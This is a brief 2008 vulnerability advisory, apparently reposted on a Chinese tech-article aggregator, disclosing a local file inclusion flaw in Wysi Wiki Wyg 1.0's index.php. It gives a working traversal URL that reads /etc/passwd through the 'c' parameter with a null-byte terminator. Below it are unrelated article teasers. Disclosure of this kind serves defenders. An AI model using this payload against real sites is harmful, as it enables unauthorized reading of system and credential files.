Wysi Wiki Wyg 1.0 (index.php c) Local File Inclusion Vulnerability

--== ========================================================= ==-- --== Wizi Wiki Wig Local File Inclusion Vulnerability ==-- --== ========================================================= ==-- [*] Discovered By: StAkeR ~ StAkeR@

--== ========================================================= ==--
--== Wizi Wiki Wig Local File Inclusion Vulnerability ==--
--== ========================================================= ==--
[*] Discovered By: StAkeR ~ [email protected]
[*] Discovered On: 10 Jul 2008
[*] Script Download: http://www.easy-script.com/scripts-dl/wysiwikiwyg10.zip

[*] Vulnerability:
[*] http://site.com/index.php?c=../../../../../../etc/passwd\0
更多相关文章
  • hello cnblogs
  • author: ring04hteam:http://www.80vul.com 由于Discuz!的adminstyles.inc.php里preg_match正则判断$newcvar变量操作不够严谨,导致执行代码漏洞. 一 分析 在文件adminstyles.inc.php里代码:  if($n ...
  • 百度再次启动了原创保护计划,并对原创文章在搜索结果页进行原创标识,这个举动确实引起站长圈很多讨论,欢呼的也有,质疑的也有,反对的也有 最近发现百度大规模的调整,很多网站都被降了权,因为百度再次启动了原创保护计划,并对原创文章在搜索结果页进行原创标识,这个举动确实引起站长圈很多讨论,欢呼的也有,质疑的 ...
  •   如果你认为苹果Mac比Windows系统更安全,请三思.研究人员已经证明了:这不是真的. Mac不再“百毒不侵” 两名研究人员开发出第一个可感染Mac的固件蠕虫病毒,并且可以在无需联网的情况下在MacBook间进行自动传播. 该病毒被称为“Thunderstrike 2”,是年初“Thunder ...
  • 文/刘学文Design by Apple in California Assembled in China,使用过苹果设备的不会对这句话有陌生感.在苹果产业链中,苹果本身不直接制造和组装旗下产品,而是交由代工厂去做,承担着最终组装任务的,就包括台湾大厂富士康.很大程度上讲,富士康和苹果是相互成就的关 ...
  • 最近几天有点忙,所以我们今天来一篇短的,简单地介绍一下数据库设计中的一种模式——Soft Delete. 可以说,该模式毁誉参半,甚至有非常多的人认为该模式是一个Anti-Pattern.因此在本篇文章中,我们不仅仅会对该模式进行介绍,同时也会列出该模式可能导致的一系列问题,以帮助大家正确地决定是否 ...
一周排行
  • Nginx ("engine x") 是一个高性能的 HTTP 和反向代理服务器,也是一个 IMAP/POP3/SMTP 代理服务器. Nginx 是由 Igor Sysoev 为俄罗斯访问量第二 ...
  • 1 // TestOpensslP7Envelope.cpp : 定义控制台应用程序的入口点. 2 // 3 4 #include "stdio.h" 5 #include "strin ...
  • 有许多朋友还在为忘记XP登陆密码不能进入系统而烦恼,现在我就来给你带来解决的方法.所需工具1.U盘一个2.Usboot(U盘启动制作软件)3.winrar(压缩软件)这个方法我亲自实验过,并且成功的绕过了XP的登陆密 ...
  • QUESTION 19 You need to perform a block media recovery on the tools01.dbf data file in the SALES database by ...
  • (总结性的把这个游戏介绍了下,写的真的很好,希望大家仔细看) 之 [一] 无力蔷薇卧晓枝 注:a轻拳b轻脚c重拳d重脚 必杀技的出法:手握摇杆的姿势一定要准确,一般用小指和无名指握住摇杆.必杀的使用一定要做到十用九出 ...
  • 易网科技讯 5月29日消息,2010年第五届中国互联网站长年会在北京举行,易网科技频道现场报道本次年会.数百名中国互联网站长参与了易网科技独家策划的"百名站长访谈录". 迷途之家冯申林:我叫冯申林 ...
  • <NoSQL精粹>读书笔记,转载请注明出处<jiq•钦's technical Blog>            面向聚合的数据库能够兴起,很大程度上是由于集群的增长.集群不仅改变了数据存储的 ...
  • 原文地址:http://www.cnblogs.com/fuchongjundream/p/3914770.html 一.在进行网络通信时是否需要进行字节序转换?       相同字节序的平台在进行网络通信时可以不进 ...
  • winxp计算机管理中服务详解01 http://blog.sina.com.cn/s/blog_60f923b50100efy9.html http://blog.sina.com.cn/s/blog_b08c76 ...
  • 1 绝对路径.相对路径和未确定路径 相对路径 相对路径指以.开头的路径,例如 ./a/a.php (相对当前目录) ../common.inc.php (相对上级目录), 绝对路径 绝对路径是以 / 开头或者wind ...